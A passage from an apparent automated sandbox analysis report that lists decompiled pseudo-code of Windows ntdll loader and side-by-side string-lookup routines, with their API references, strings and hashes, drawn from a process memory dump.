						E6B480100(_t88, _t93, _t109, _t115, __eflags);
						_t54 =  *_v28;
					}
					_t65 = E6B48EB70(_t93, 0x6b5652d8);
					while(1) {
						L8:
						_t95 =  *(_t115 + 0x18);
						if(_t95 == 0) {
							break;
						}
						_t110 =  *_t95;
						__eflags = _t110 - _t95;
						if(_t110 != _t95) {
							_t65 =  *_t110;
							 *_t95 =  *_t110;
						} else {
							_t34 = _t115 + 0x18;
							 *_t34 =  *(_t115 + 0x18) & 0x00000000;
							__eflags =  *_t34;
						}
						__eflags = _t110;
						if(_t110 == 0) {
							break;
						} else {
							E6B492280(_t65, 0x6b5684d8);
							_t92 =  *((intOrPtr*)(_t110 + 4));
							_t37 = _t110 + 8; // -76
							_t107 = _t37;
							_t101 =  *(_t92 + 0x1c);
							_t76 =  *_t101;
							_v28 = _t76;
							__eflags = _t76 - _t107;
							if(_t76 != _t107) {
								_t117 = _v24;
								do {
									_t77 =  *_t117;
									_t101 = _t117;
									_t117 = _t77;
									__eflags = _t77 - _t107;
								} while (_t77 != _t107);
								_t115 = _v16;
							}
							 *_t101 =  *_t107;
							__eflags =  *(_t92 + 0x1c) - _t107;
							if(__eflags == 0) {
								asm("sbb eax, eax");
								_t86 =  ~(_t101 - _t107) & _t101;
								__eflags = _t86;
								 *(_t92 + 0x1c) = _t86;
							}
							_t106 = 0;
							_push( &_v12);
							E6B48093F(_t92, _t92, 0, _t110, _t115, __eflags);
							E6B48FFB0(_t92, _t110, 0x6b5684d8);
							__eflags = _v20;
							if(_v20 != 0) {
								E6B47F51D(_t92, 0);
							}
							_t65 = RtlFreeHeap( *0x6b567b98, 0, _t110);
							continue;
						}
					}
					_t111 =  *_t115;
					 *(_t115 + 0x20) = 0xfffffffe;
					if(_t111 == _t115) {
						L14:
						_pop(_t112);
						_pop(_t116);
						_pop(_t90);
						return E6B4BB640(_t65, _t90, _v8 ^ _t120, _t106, _t112, _t116);
					} else {
						goto L10;
					}
					do {
						L10:
						_t91 =  *_t111;
						_t113 = _t111 + 0xffffffac;
						 *(_t113 + 0x34) =  *(_t113 + 0x34) | 0x00000002;
						E6B492280(_t65, 0x6b5684d8);
						E6B48008A(_t113, _t115);
						if(( *(_t113 + 0x34) & 0x00000080) != 0) {
							_t17 = _t113 + 0x74; // -140
							L6B47F900(0x6b5685fc, _t17);
							_t18 = _t113 + 0x68; // -152
							L6B47F900(0x6b5685f4, _t18);
							 *(_t113 + 0x20) =  *(_t113 + 0x20) & 0x00000000;
						}
						E6B48FFB0(_t91, _t113, 0x6b5684d8);
						if( *0x6b567b94 != 0) {
							E6B4B0413(_t113);
						}
						_t65 = E6B48EC7F(_t113);
						_t111 = _t91;
					} while (_t91 != _t115);
					goto L14;
				}
				if( *((intOrPtr*)(__ecx + 0x20)) == 7) {
					goto L4;
				}
				if( *((intOrPtr*)(__ecx + 0x20)) != 9) {
					goto L8;
				}
				goto L3;
			}

0x6b47f51d
0x6b47f51d
0x6b47f525
0x6b47f52f
0x6b47f53b
0x6b47f53d
0x6b47f541
0x6b47f543
0x6b47f547
0x6b47f54c
0x6b47f55a
0x6b47f55a
0x6b47f55e
0x6b47f563
0x6b47f569
0x6b47f718
0x6b47f720
0x6b47f72b
0x6b47f72c
0x6b47f72e
0x6b47f730
0x6b47f730
0x6b47f574
0x6b47f579
0x6b47f57b
0x6b47f57b
0x6b47f581
0x00000000
0x00000000
0x6b47f61f
0x6b47f61f
0x6b47f622
0x6b47f626
0x6b47f628
0x6b47f62b
0x6b47f62e
0x6b47f633
0x6b47f635
0x6b47f73a
0x6b47f740
0x6b47f740
0x6b47f63d
0x6b47f63f
0x6b47f644
0x6b47f648
0x6b47f64f
0x6b4d5d11
0x6b4d5d13
0x6b4d5d13
0x6b47f64f
0x6b47f655
0x6b47f65c
0x6b4d5d1d
0x6b4d5d37
0x6b4d5d3c
0x6b4d5d3c
0x6b47f662
0x6b47f664
0x6b47f667
0x6b47f670
0x6b47f670
0x6b47f58c
0x6b47f591
0x6b47f591
0x6b47f591
0x6b47f596
0x00000000
0x00000000
0x6b47f677
0x6b47f679
0x6b47f67b
0x6b47f706
0x6b47f708
0x6b47f681
0x6b47f681
0x6b47f681
0x6b47f681
0x6b47f681
0x6b47f685
0x6b47f687
0x00000000
0x6b47f68d
0x6b47f692
0x6b47f697
0x6b47f69a
0x6b47f69a
0x6b47f69d
0x6b47f6a0
0x6b47f6a2
0x6b47f6a6
0x6b47f6a8
0x6b47f6f2
0x6b47f6f6
0x6b47f6f6
0x6b47f6f8
0x6b47f6fa
0x6b47f6fc
0x6b47f6fc
0x6b47f700
0x6b47f700
0x6b47f6ac
0x6b47f6ae
0x6b47f6b1
0x6b47f6b9
0x6b47f6bb
0x6b47f6bb
0x6b47f6bd
0x6b47f6bd
0x6b47f6c4
0x6b47f6c6
0x6b47f6c9
0x6b47f6d3
0x6b47f6d8
0x6b47f6dd
0x6b47f711
0x6b47f711
0x6b47f6e8
0x00000000
0x6b47f6e8
0x6b47f687
0x6b47f59c
0x6b47f59e
0x6b47f5a7
0x6b47f60d
0x6b47f611
0x6b47f612
0x6b47f613
0x6b47f61e
0x00000000
0x00000000
0x00000000
0x6b47f5a9
0x6b47f5a9
0x6b47f5a9
0x6b47f5ab
0x6b47f5b3
0x6b47f5b7
0x6b47f5be
0x6b47f5c7
0x6b47f5c9
0x6b47f5d2
0x6b47f5d7
0x6b47f5e0
0x6b47f5e5
0x6b47f5e5
0x6b47f5ee
0x6b47f5fa
0x6b4d5d46
0x6b4d5d46
0x6b47f602
0x6b47f607
0x6b47f609
0x00000000
0x6b47f5a9
0x6b47f552
0x00000000
0x00000000
0x6b47f558
0x00000000
0x00000000
0x00000000

APIs

RtlEnterCriticalSection.1105(6B5652D8), ref: 6B47F574
RtlLeaveCriticalSection.1105(6B5652D8,?,00000000,6B5652D8), ref: 6B47F58C
RtlAcquireSRWLockExclusive.1105 ref: 6B47F5B7
RtlRbRemoveNode.1105(6B5685FC,-0000008C), ref: 6B47F5D2
RtlRbRemoveNode.1105(6B5685F4,-00000098,6B5685FC,-0000008C), ref: 6B47F5E0
RtlReleaseSRWLockExclusive.1105(6B5684D8), ref: 6B47F5EE
LdrUnloadAlternateResourceModuleEx.1105(?,00000000,6B5652D8), ref: 6B47F667
RtlAcquireSRWLockExclusive.1105(6B5684D8,6B5652D8,?,00000000,6B5652D8), ref: 6B47F692
RtlReleaseSRWLockExclusive.1105(6B5684D8,?,6B5684D8,6B5652D8,?,00000000,6B5652D8), ref: 6B47F6D3
RtlFreeHeap.1105(00000000,-00000054,6B5684D8,?,6B5684D8,6B5652D8), ref: 6B47F6E8
RtlDebugPrintTimes.1105(-00000054,?,6B5652D8), ref: 6B47F73A

Strings

Unmapping DLL "%wZ", xrefs: 6B4D5D21
minkernel\ntdll\ldrsnap.c, xrefs: 6B4D5D32
LdrpUnloadNode, xrefs: 6B4D5D28

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: ExclusiveLock$AcquireCriticalNodeReleaseRemoveSection$AlternateDebugEnterFreeHeapLeaveModulePrintResourceTimesUnload
String ID: LdrpUnloadNode$Unmapping DLL "%wZ"$minkernel\ntdll\ldrsnap.c
API String ID: 2596885168-2283098728
Opcode ID: 91c258192ecb1fe060c8b1d0c4c18a09aa477b2843042cb0829ae0d1ee1f7490
Instruction ID: 874452ad7fd9a7d43e36509bfe57d40b2a5023400e68dfb5b54b97a3142ab144
Opcode Fuzzy Hash: 91c258192ecb1fe060c8b1d0c4c18a09aa477b2843042cb0829ae0d1ee1f7490
Instruction Fuzzy Hash: E45105716466419FD724FF3CC885FAA77A1BB85318F100A6DE551873A1EB3CE802CB92

Uniqueness

Uniqueness Score: -1.00%

Function 6B4752A5, Relevance: 24.2, APIs: 16, Instructions: 161
nativememoryfileCOMMON

Download Yara Rule

C-Code - Quality: 78%

			E6B4752A5(char __ecx) {
				char _v20;
				void* _v28;
				char _v29;
				void* _v32;
				void* _v36;
				void* _v37;
				void* _v38;
				void* _v40;
				void* _v46;
				void* _v60;
				void* __ebx;
				void* _t49;
				signed int _t53;
				short _t85;
				signed int _t87;
				signed int _t88;
				signed int _t89;
				intOrPtr _t101;
				void* _t102;
				void* _t104;
				signed int _t106;
				void* _t108;

				_t93 = __ecx;
				_t108 = (_t106 & 0xfffffff8) - 0x1c;
				_push(_t88);
				_v29 = __ecx;
				_t89 = _t88 | 0xffffffff;
				while(1) {
					L6B48EEF0(0x6b5679a0);
					_t104 =  *0x6b568210;
					if(_t104 == 0) {
						break;
					}
					asm("lock inc dword [esi]");
					 *((intOrPtr*)(_t108 + 0x18)) =  *((intOrPtr*)(_t104 + 8));
					E6B48EB70(_t93, 0x6b5679a0);
					if( *((char*)(_t108 + 0xf)) != 0) {
						_t101 =  *0x7ffe02dc;
						__eflags =  *(_t104 + 0x14) & 0x00000001;
						if(( *(_t104 + 0x14) & 0x00000001) != 0) {
							L9:
							_push(0);
							_push(0);
							_push(0);
							_push(0);
							_push(0x90028);
							_push(_t108 + 0x20);
							_push(0);
							_push(0);
							_push(0);
							_push( *((intOrPtr*)(_t104 + 4)));
							_t53 = E6B4B9890();
							__eflags = _t53;
							if(_t53 >= 0) {
								__eflags =  *(_t104 + 0x14) & 0x00000001;
								if(( *(_t104 + 0x14) & 0x00000001) == 0) {
									L6B48EEF0(0x6b5679a0);
									 *((intOrPtr*)(_t104 + 8)) = _t101;
									E6B48EB70(0, 0x6b5679a0);
								}
								goto L3;
							}
							__eflags = _t53 - 0xc0000012;
							if(__eflags == 0) {
								L12:
								_t93 = _t104 + 0xc;
								 *((char*)(_t108 + 0x12)) = 0;
								__eflags = E6B4AF0BF(_t104 + 0xc,  *(_t104 + 0xe) & 0x0000ffff, __eflags,  &_v28);
								if(__eflags >= 0) {
									L15:
									_t102 = _v28;
									 *_t102 = 2;
									 *((intOrPtr*)(_t108 + 0x18)) =  *((intOrPtr*)( *[fs:0x30] + 0x10)) + 0x24;
									L6B48EEF0(0x6b5679a0);
									__eflags =  *0x6b568210 - _t104;
									if( *0x6b568210 == _t104) {
										__eflags =  *((char*)(_t108 + 0xe));
										_t95 =  *((intOrPtr*)(_t108 + 0x14));
										 *0x6b568210 = _t102;
										 *_t95 =  *((intOrPtr*)(_t102 + 0xc));
										 *((intOrPtr*)(_t95 + 4)) =  *((intOrPtr*)(_t102 + 0x10));
										 *((intOrPtr*)(_t95 + 8)) =  *((intOrPtr*)(_t102 + 4));
										if(__eflags != 0) {
											_t95 =  *((intOrPtr*)( *((intOrPtr*)(_t104 + 0x10))));
											E6B4F4888(_t89,  *((intOrPtr*)( *((intOrPtr*)(_t104 + 0x10)))), __eflags);
										}
										E6B48EB70(_t95, 0x6b5679a0);
										asm("lock xadd [esi], eax");
										if(__eflags == 0) {
											_push( *((intOrPtr*)(_t104 + 4)));
											E6B4B95D0();
											RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t104);
											_t102 = _v40;
										}
										asm("lock xadd [esi], ebx");
										__eflags = _t89 == 1;
										if(_t89 == 1) {
											_push( *((intOrPtr*)(_t104 + 4)));
											E6B4B95D0();
											RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t104);
											_t102 = _v40;
										}
										_t49 = _t102;
										L4:
										return _t49;
									}
									E6B48EB70(_t93, 0x6b5679a0);
									asm("lock xadd [esi], eax");
									if(__eflags == 0) {
										_push( *((intOrPtr*)(_t104 + 4)));
										E6B4B95D0();
										RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t104);
										_t102 = _v40;
									}
									 *_t102 = 1;
									asm("lock xadd [edi], eax");
									if(__eflags == 0) {
										_push( *((intOrPtr*)(_t102 + 4)));
										E6B4B95D0();
										RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t102);
									}
									continue;
								}
								_t93 =  &_v20;
								 *((intOrPtr*)(_t108 + 0x20)) =  *((intOrPtr*)(_t104 + 0x10));
								_t85 = 6;
								_v20 = _t85;
								_t87 = E6B4AF0BF( &_v20,  *(_t104 + 0xe) & 0x0000ffff, __eflags,  &_v28);
								__eflags = _t87;
								if(_t87 < 0) {
									goto L3;
								}
								 *((char*)(_t108 + 0xe)) = 1;
								goto L15;
							}
							__eflags = _t53 - 0xc000026e;
							if(__eflags != 0) {
								goto L3;
							}
							goto L12;
						}
						__eflags = 0x7ffe02dc -  *((intOrPtr*)(_t108 + 0x14));
						if(0x7ffe02dc ==  *((intOrPtr*)(_t108 + 0x14))) {
							goto L3;
						} else {
							goto L9;
						}
					}
					L3:
					_t49 = _t104;
					goto L4;
				}
				_t49 = 0;
				goto L4;
			}

0x6b4752a5
0x6b4752ad
0x6b4752b0
0x6b4752b3
0x6b4752b7
0x6b4752ba
0x6b4752bf
0x6b4752c4
0x6b4752cc
0x00000000
0x00000000
0x6b4752ce
0x6b4752d9
0x6b4752dd
0x6b4752e7
0x6b4752f7
0x6b4752f9
0x6b4752fd
0x6b4d0dcf
0x6b4d0dd5
0x6b4d0dd6
0x6b4d0dd7
0x6b4d0dd8
0x6b4d0dd9
0x6b4d0dde
0x6b4d0ddf
0x6b4d0de0
0x6b4d0de1
0x6b4d0de2
0x6b4d0de5
0x6b4d0dea
0x6b4d0dec
0x6b4d0f60
0x6b4d0f64
0x6b4d0f70
0x6b4d0f76
0x6b4d0f79
0x6b4d0f79
0x00000000
0x6b4d0f64
0x6b4d0df2
0x6b4d0df7
0x6b4d0e04
0x6b4d0e0d
0x6b4d0e10
0x6b4d0e1a
0x6b4d0e1c
0x6b4d0e4c
0x6b4d0e52
0x6b4d0e61
0x6b4d0e67
0x6b4d0e6b
0x6b4d0e70
0x6b4d0e76
0x6b4d0ed7
0x6b4d0edc
0x6b4d0ee0
0x6b4d0eea
0x6b4d0ef0
0x6b4d0ef6
0x6b4d0ef9
0x6b4d0efe
0x6b4d0f01
0x6b4d0f01
0x6b4d0f0b
0x6b4d0f12
0x6b4d0f16
0x6b4d0f18
0x6b4d0f1b
0x6b4d0f2c
0x6b4d0f31
0x6b4d0f31
0x6b4d0f35
0x6b4d0f39
0x6b4d0f3a
0x6b4d0f3c
0x6b4d0f3f
0x6b4d0f50
0x6b4d0f55
0x6b4d0f55
0x6b4d0f59
0x6b4752eb
0x6b4752f1
0x6b4752f1
0x6b4d0e7d
0x6b4d0e84
0x6b4d0e88
0x6b4d0e8a
0x6b4d0e8d
0x6b4d0e9e
0x6b4d0ea3
0x6b4d0ea3
0x6b4d0ea7
0x6b4d0eaf
0x6b4d0eb3
0x6b4d0eb9
0x6b4d0ebc
0x6b4d0ecd
0x6b4d0ecd
0x00000000
0x6b4d0eb3
0x6b4d0e21
0x6b4d0e2b
0x6b4d0e2f
0x6b4d0e30
0x6b4d0e3a
0x6b4d0e3f
0x6b4d0e41
0x00000000
0x00000000
0x6b4d0e47
0x00000000
0x6b4d0e47
0x6b4d0df9
0x6b4d0dfe
0x00000000
0x00000000
0x00000000
0x6b4d0dfe
0x6b475303
0x6b475307
0x00000000
0x6b475309
0x00000000
0x6b475309
0x6b475307
0x6b4752e9
0x6b4752e9
0x00000000
0x6b4752e9
0x6b47530e
0x00000000

APIs

RtlEnterCriticalSection.1105(6B5679A0,?,00000000,?), ref: 6B4752BF
RtlLeaveCriticalSection.1105(6B5679A0,6B5679A0,?,00000000,?), ref: 6B4752DD
ZwFsControlFile.1105(?,00000000,00000000,00000000,?,00090028,00000000,00000000,00000000,00000000,6B5679A0,6B5679A0,?,00000000,?), ref: 6B4D0DE5
RtlEnterCriticalSection.1105(6B5679A0,6B5679A0,?,00000000,00000000,00000000,?,00090028,00000000,00000000,00000000,00000000,6B5679A0,6B5679A0,?,00000000), ref: 6B4D0E6B
RtlLeaveCriticalSection.1105(6B5679A0,6B5679A0,6B5679A0,?,00000000,00000000,00000000,?,00090028,00000000,00000000,00000000,00000000,6B5679A0,6B5679A0,?), ref: 6B4D0E7D
ZwClose.1105(?,6B5679A0,6B5679A0,6B5679A0,?,00000000,00000000,00000000,?,00090028,00000000,00000000,00000000,00000000,6B5679A0,6B5679A0), ref: 6B4D0E8D
RtlFreeHeap.1105(?,00000000,?,?,6B5679A0,6B5679A0,6B5679A0,?,00000000,00000000,00000000,?,00090028,00000000,00000000,00000000), ref: 6B4D0E9E
ZwClose.1105(?,6B5679A0,6B5679A0,6B5679A0,?,00000000,00000000,00000000,?,00090028,00000000,00000000,00000000,00000000,6B5679A0,6B5679A0), ref: 6B4D0EBC
RtlFreeHeap.1105(?,00000000,6B5679A0,?,6B5679A0,6B5679A0,6B5679A0,?,00000000,00000000,00000000,?,00090028,00000000,00000000,00000000), ref: 6B4D0ECD

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: CriticalSection$CloseEnterFreeHeapLeave$ControlFile
String ID:
API String ID: 1928194833-0
Opcode ID: 15e9adc7f372c69013cbbd8780b270673986669a29acdbdfd6ada70e320a8376
Instruction ID: 721151de7f34d796d6c66a6862c61d4fb341f81fb8e93ee1033bbaf1af057d97
Opcode Fuzzy Hash: 15e9adc7f372c69013cbbd8780b270673986669a29acdbdfd6ada70e320a8376
Instruction Fuzzy Hash: 7851B831149742ABD321DF38C855F5BBBE4FF55714F10096EE9948B661EB78E800CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 6B493360, Relevance: 23.1, APIs: 8, Strings: 5, Instructions: 355
COMMONCrypto

Download Yara Rule

C-Code - Quality: 90%

			E6B493360(signed short* __ecx, intOrPtr __edx, intOrPtr _a4, intOrPtr* _a8, unsigned int _a12, void* _a16) {
				signed int _v8;
				void _v32;
				char _v33;
				void* _v40;
				signed short* _v44;
				struct _EXCEPTION_RECORD _v48;
				char _v52;
				intOrPtr _v56;
				short _v58;
				void* _v60;
				signed short _v64;
				unsigned int _v68;
				intOrPtr _v72;
				void* _v76;
				intOrPtr* _v80;
				void* __ebx;
				void* __edi;
				void* __esi;
				short _t144;
				short _t165;
				void _t171;
				signed int _t173;
				void* _t177;
				void _t178;
				short _t181;
				void _t187;
				signed short* _t193;
				signed int _t198;
				signed int _t199;
				void* _t200;
				signed int _t206;
				signed short _t207;
				signed short _t208;
				signed char _t220;
				char _t221;
				intOrPtr* _t223;
				signed int _t225;
				void* _t226;
				signed int _t228;
				unsigned int _t229;
				signed short* _t231;
				void* _t233;
				signed int _t235;
				signed int _t237;
				void* _t238;

				_v8 =  *0x6b56d360 ^ _t237;
				_t193 = __ecx;
				_v48 = _a4;
				_t233 = _a16;
				_t229 = _a12;
				_v72 = __edx;
				_v44 = __ecx;
				_v80 = _a8;
				_v68 = _t229;
				_v40 = _t233;
				_v33 = 1;
				if((__ecx[8] & 0x00000001) == 0) {
					_t220 = 0;
				} else {
					_t220 = 1;
				}
				_v52 = _t220;
				if( *_t193 != 0x64487353) {
					L71:
					_t140 = 0xc0150003;
					goto L32;
				} else {
					if(_t193[0xa] == 0) {
						L31:
						_t140 = 0xc0150008;
						goto L32;
					} else {
						_t198 = _t193[0xe];
						if(_t198 == 0xffffffff) {
							_t221 = 0;
							goto L21;
						} else {
							if( *_t229 == _t198) {
								L20:
								_t221 = _v33;
								goto L21;
							} else {
								_t187 = 0;
								if(_v48 == 0 || _t233 == 0) {
									_t140 = 0xc000000d;
									goto L18;
								} else {
									_t231 = _v48;
									_t193 = _t231[2];
									 *_t233 = 0;
									_t229 = ( *_t231 & 0x0000ffff) >> 1;
									if(_t198 > 1) {
										L65:
										if(E6B48FAB0(_t198, _v48, _v52, 0,  &_v76) < 0) {
											goto L32;
										} else {
											_t193 = _v44;
											E6B505720(0x33, 0, "RtlpFindUnicodeStringInSection: Unsupported hash algorithm %lu found in string section.\n", _t193[0xe]);
											_t238 = _t238 + 0x10;
											_t221 = 0;
											L21:
											_v33 = _t221;
											if(_t193[4] != 1) {
												_t220 = 0;
											}
											_t199 = _t193[0x10];
											asm("sbb al, al");
											if((_t220 &  ~_t199) == 0) {
												if(_t220 == 0 || (_t193[8] & 0x00000002) == 0) {
													_t229 = _v44;
													_t193 = _t193[0xc] + _t229;
													_t233 =  *(_t229 + 0x14);
													if(_t233 != 0) {
														_t200 = _v40;
														do {
															_t144 = _t193[4];
															_v60 = _t144;
															_v58 = _t144;
															_v56 = _t193[2] + _t229;
															if(_t220 == 0 ||  *_t193 ==  *_t200) {
																if(RtlCompareUnicodeString(_v48,  &_v60, _v52) == 0) {
																	goto L52;
																} else {
																	_t220 = _v33;
																	_t200 = _v40;
																	goto L81;
																}
															} else {
																goto L81;
															}
															goto L83;
															L81:
															_t193 =  &(_t193[0xc]);
															_t233 = _t233 - 1;
														} while (_t233 != 0);
													}
													goto L31;
												} else {
													_t205 = _t193[0xa];
													_t233 = _t193 + _t193[0xc];
													_t65 = _t205 - 1; // -1
													_t229 = _t233 + (_t65 + _t65 * 2) * 8;
													_v32 =  *_v40;
													_t193 = bsearch( &_v32, _t233, _t193[0xa], 0x18, 0x6b4a8c30);
													if(_t193 == 0) {
														goto L31;
													} else {
														if(_t193 != _t233) {
															_t171 =  *_v40;
															while( *_t193 == _t171) {
																_t193 = _t193 - 0x18;
																if(_t193 != _t233) {
																	continue;
																}
																goto L42;
															}
														}
														L42:
														_t233 =  *_v40;
														if( *_t193 != _t233) {
															_t193 =  &(_t193[0xc]);
														}
														while(1) {
															_t165 = _t193[4];
															_v60 = _t165;
															_v58 = _t165;
															_v56 = _v44 + _t193[2];
															if(RtlCompareUnicodeString(_v48,  &_v60, _v52) == 0) {
																break;
															}
															_t193 =  &(_t193[0xc]);
															if(_t193 > _t229) {
																goto L31;
															} else {
																if( *_t193 == _t233) {
																	continue;
																} else {
																	break;
																}
															}
															goto L83;
														}
														if(_t193 > _t229) {
															goto L31;
														} else {
															if( *_t193 == _t233) {
																goto L51;
															} else {
																goto L31;
															}
														}
													}
												}
											} else {
												_t233 = _t193 + _t199;
												_t206 =  *_v40;
												_t173 = _t206;
												_v68 = _t206;
												if( *_t233 != 0xb) {
													_t225 = _t173 %  *_t233;
												} else {
													_t225 = _t173 % 0xb;
												}
												_t41 = _t233 + 4; // 0x1cc
												_t229 = 0;
												_v40 = _t225;
												_t226 =  *_t41 + _t225 * 8;
												_t220 = _t226 + _t193;
												_t177 =  *((intOrPtr*)(_t226 +  &(_t193[2]))) + _t193;
												_v64 = _t220;
												_v76 = _t177;
												if( *_t220 <= 0) {
													goto L31;
												} else {
													_t233 = _t177;
													while(1) {
														_t178 =  *_t233;
														if(_t178 > _v72) {
															break;
														}
														_t193 = _t193 + _t178;
														if(_v33 == 0 ||  *_t193 == _t206) {
															_t207 = _t193[2];
															if(_t207 > _v72) {
																_push(_v76);
																_push(_t220);
																_push(_v40);
																_push(_v44);
																_push(_t207);
																E6B505720(0x33, 0, "SXS: String hash table entry at %p has invalid key offset (= %ld)\n   Header = %p; Index = %lu; Bucket = %p; Chain = %p\n", _t193);
																_t140 = 0xc0150003;
																goto L32;
															} else {
																_t181 = _t193[4];
																_v60 = _t181;
																_v58 = _t181;
																_v56 = _v44 + _t207;
																if(RtlCompareUnicodeString(_v48,  &_v60, _v52) != 0) {
																	_t206 = _v68;
																	_t220 = _v64;
																	goto L30;
																} else {
																	L51:
																	_t229 = _v44;
																	L52:
																	if(_t193 == 0 || _t193[6] == 0) {
																		goto L31;
																	} else {
																		_t223 = _v80;
																		if(_t223 != 0) {
																			 *((intOrPtr*)(_t223 + 4)) =  *((intOrPtr*)(_t229 + 0xc));
																			 *((intOrPtr*)(_t223 + 8)) = _t193[6] + _t229;
																			 *(_t223 + 0xc) = _t193[8];
																			if(_t223 + 0x28 <=  *_t223 + _t223) {
																				 *(_t223 + 0x24) = _t193[0xa];
																			}
																		}
																		return E6B4BB640(0, _t193, _v8 ^ _t237, _t223, _t229, _t233);
																	}
																}
															}
														} else {
															L30:
															_t193 = _v44;
															_t229 = _t229 + 1;
															_t233 = _t233 + 4;
															if(_t229 <  *_t220) {
																continue;
															} else {
																goto L31;
															}
														}
														goto L83;
													}
													_push(_t178);
													E6B505720(0x33, 0, "SXS: String hash collision chain offset at %p (= %ld) out of bounds\n", _t233);
													goto L71;
												}
											}
										}
									} else {
										if(_t220 == 0) {
											if(_t229 != 0) {
												do {
													_t198 =  *_t193 & 0x0000ffff;
													_t193 =  &(_t193[1]);
													_t187 = _t187 * 0x1003f + _t198;
													_t229 = _t229 - 1;
												} while (_t229 != 0);
											}
										} else {
											if(_t229 != 0) {
												_t220 =  *0x6b566d5c;
												do {
													_t208 =  *_t193 & 0x0000ffff;
													_t193 =  &(_t193[1]);
													_t229 = _t229 - 1;
													_v64 = _t208;
													if(_t208 < 0x61) {
														L34:
														_t198 = _t208 & 0x0000ffff;
													} else {
														if(_t208 > 0x7a) {
															_t235 = _t208 & 0x0000ffff;
															_t228 = ( *(_t220 + (_t235 >> 8) * 2) & 0x0000ffff) + (_t235 >> 0x00000004 & 0x0000000f);
															_t220 =  *0x6b566d5c;
															_t208 =  *((intOrPtr*)(_t220 + (( *( *0x6b566d5c + _t228 * 2) & 0x0000ffff) + (_t235 & 0x0000000f)) * 2)) + _v64;
															goto L34;
														} else {
															_t198 = (_t208 & 0x0000ffff) - 0x20;
														}
													}
													_t187 = _t187 * 0x1003f + _t198;
												} while (_t229 != 0);
												_t233 = _v40;
											}
										}
										_t193 = _v44;
										_t229 = _v68;
										 *_t233 = _t187;
										_t140 = 0;
										L18:
										if(_t140 < 0) {
											if(_t140 != 0xc000000d) {
												L32:
												return E6B4BB640(_t140, _t193, _v8 ^ _t237, _t220, _t229, _t233);
											} else {
												goto L65;
											}
										} else {
											 *_t229 = _t193[0xe];
											goto L20;
										}
									}
								}
							}
						}
					}
				}
				L83:
			}

0x6b49336f
0x6b493376
0x6b493378
0x6b49337f
0x6b493387
0x6b49338a
0x6b49338d
0x6b493390
0x6b493393
0x6b493396
0x6b493399
0x6b49339d
0x6b4dd994
0x6b4933a3
0x6b4933a3
0x6b4933a3
0x6b4933ab
0x6b4933ae
0x6b4dda5a
0x6b4dda5a
0x00000000
0x6b4933b4
0x6b4933b8
0x6b4934ea
0x6b4934ea
0x00000000
0x6b4933be
0x6b4933be
0x6b4933c4
0x6b4dd99b
0x00000000
0x6b4933ca
0x6b4933cc
0x6b493458
0x6b493458
0x00000000
0x6b4933d2
0x6b4933d2
0x6b4933d7
0x6b4dd9c2
0x00000000
0x6b4933e5
0x6b4933e5
0x6b4933e8
0x6b4933eb
0x6b4933f0
0x6b4933f5
0x6b4dd9d7
0x6b4dd9ea
0x00000000
0x6b4dd9f0
0x6b4dd9f0
0x6b4dd9ff
0x6b4dda04
0x6b4dda07
0x6b49345b
0x6b493461
0x6b493464
0x6b4dda0e
0x6b4dda0e
0x6b49346a
0x6b493471
0x6b493475
0x6b49353f
0x6b4dda7c
0x6b4dda82
0x6b4dda84
0x6b4dda89
0x6b4dda8f
0x6b4dda92
0x6b4dda92
0x6b4dda96
0x6b4dda9a
0x6b4ddaa3
0x6b4ddaa8
0x6b4ddac1
0x00000000
0x6b4ddac7
0x6b4ddac7
0x6b4ddaca
0x00000000
0x6b4ddaca
0x00000000
0x00000000
0x00000000
0x00000000
0x6b4ddacd
0x6b4ddacd
0x6b4ddad0
0x6b4ddad0
0x6b4ddad5
0x00000000
0x6b49354f
0x6b49354f
0x6b493555
0x6b49355c
0x6b493562
0x6b49356e
0x6b49357a
0x6b493581
0x00000000
0x6b493587
0x6b493589
0x6b49358e
0x6b493590
0x6b493594
0x6b493599
0x00000000
0x00000000
0x00000000
0x6b493599
0x6b493590
0x6b49359b
0x6b49359e
0x6b4935a2
0x6b4935a4
0x6b4935a4
0x6b4935b0
0x6b4935b0
0x6b4935b7
0x6b4935bb
0x6b4935c5
0x6b4935d6
0x00000000
0x00000000
0x6b4dda64
0x6b4dda69
0x00000000
0x6b4dda6f
0x6b4dda71
0x00000000
0x6b4dda77
0x00000000
0x6b4dda77
0x6b4dda71
0x00000000
0x6b4dda69
0x6b4935de
0x00000000
0x6b4935e4
0x6b4935e6
0x00000000
0x6b4935e8
0x00000000
0x6b4935e8
0x6b4935e6
0x6b4935de
0x6b493581
0x6b49347b
0x6b49347e
0x6b493486
0x6b493488
0x6b49348a
0x6b49348d
0x6b4935ed
0x6b493493
0x6b493498
0x6b493498
0x6b49349a
0x6b49349d
0x6b49349f
0x6b4934a2
0x6b4934a9
0x6b4934ab
0x6b4934ad
0x6b4934b0
0x6b4934b5
0x00000000
0x6b4934b7
0x6b4934b7
0x6b4934c0
0x6b4934c0
0x6b4934c5
0x00000000
0x00000000
0x6b4934cb
0x6b4934d1
0x6b4935f4
0x6b4935fa
0x6b4dda20
0x6b4dda23
0x6b4dda24
0x6b4dda27
0x6b4dda2a
0x6b4dda35
0x6b4dda3d
0x00000000
0x6b493600
0x6b493600
0x6b493607
0x6b49360b
0x6b493614
0x6b493625
0x6b4dda15
0x6b4dda18
0x00000000
0x6b49362b
0x6b49362b
0x6b49362b
0x6b49362e
0x6b493630
0x00000000
0x6b493640
0x6b493640
0x6b493645
0x6b49364c
